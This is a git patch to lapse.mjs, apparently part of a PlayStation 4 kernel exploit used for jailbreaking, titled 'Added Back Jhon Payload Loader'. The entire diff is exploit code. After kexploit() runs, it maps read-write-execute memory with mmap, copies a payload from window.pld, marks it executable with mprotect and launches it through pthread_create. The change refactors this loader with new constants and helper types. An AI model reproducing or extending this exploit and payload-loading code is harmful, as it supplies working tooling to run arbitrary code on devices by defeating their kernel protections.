From 5e463303bbdee1c09b220fe817bbfc9f9746a76e Mon Sep 17 00:00:00 2001 From: Kameleon <77245601+kmeps4@users.noreply.github.com> Date: Wed, 28 May 2025 06:30:26 -0600 Subject: [PATCH] Added Back Jhon Payload Loader --- lapse.mjs | 48 +++++++++++------------------------------------- 1 file changed, 11 insertions(+), 37 deletions(-) diff --git a/lapse.mjs b/lapse.mjs index fb9eb7b..0ad0e6e 100644 --- a/lapse.mjs +++ b/lapse.mjs @@ -96,6 +96,9 @@ const CPU_LEVEL_WHICH = 3; const CPU_WHICH_TID = 1; // sys/mman.h +const PROT_READ = 1; +const PROT_WRITE = 2; +const PROT_EXEC = 4; const MAP_SHARED = 1; const MAP_FIXED = 0x10; @@ -1742,48 +1745,19 @@ export async function kexploit() { } } -function malloc(sz) { - var backing = new Uint8Array(0x10000 + sz); - nogc.push(backing); - var ptr = mem.readp(mem.addrof(backing).add(0x10)); - ptr.backing = backing; - return ptr; - } - - function malloc32(sz) { - var backing = new Uint8Array(0x10000 + sz * 4); - nogc.push(backing); - var ptr = mem.readp(mem.addrof(backing).add(0x10)); - ptr.backing = new Uint32Array(backing.buffer); - return ptr; - } - - kexploit().then(() => { - - window.pld_size = new Int(0x26200000, 0x9); - - var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0); - var payload = window.pld; - var bufLen = payload.length * 4 - var payload_loader = malloc32(bufLen); - var loader_writer = payload_loader.backing; - for (var i = 0; i < payload.length; i++) { - loader_writer[i] = payload[i]; - } - chain.sys('mprotect', payload_loader, bufLen, (0x1 | 0x2 | 0x4)); - var pthread = malloc(0x10); + var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, PROT_READ | PROT_WRITE | PROT_EXEC, 0x41000, -1, 0); + var payload_loader = new View4(window.pld); + chain.sys('mprotect', payload_loader.addr, payload_loader.size, PROT_READ | PROT_WRITE | PROT_EXEC); + const ctx = new Buffer(0x10); + const pthread = new Pointer(); + pthread.ctx = ctx; call_nze( 'pthread_create', - pthread, + pthread.addr, 0, - payload_loader, + payload_loader.addr, payload_buffer, ); - - - - - })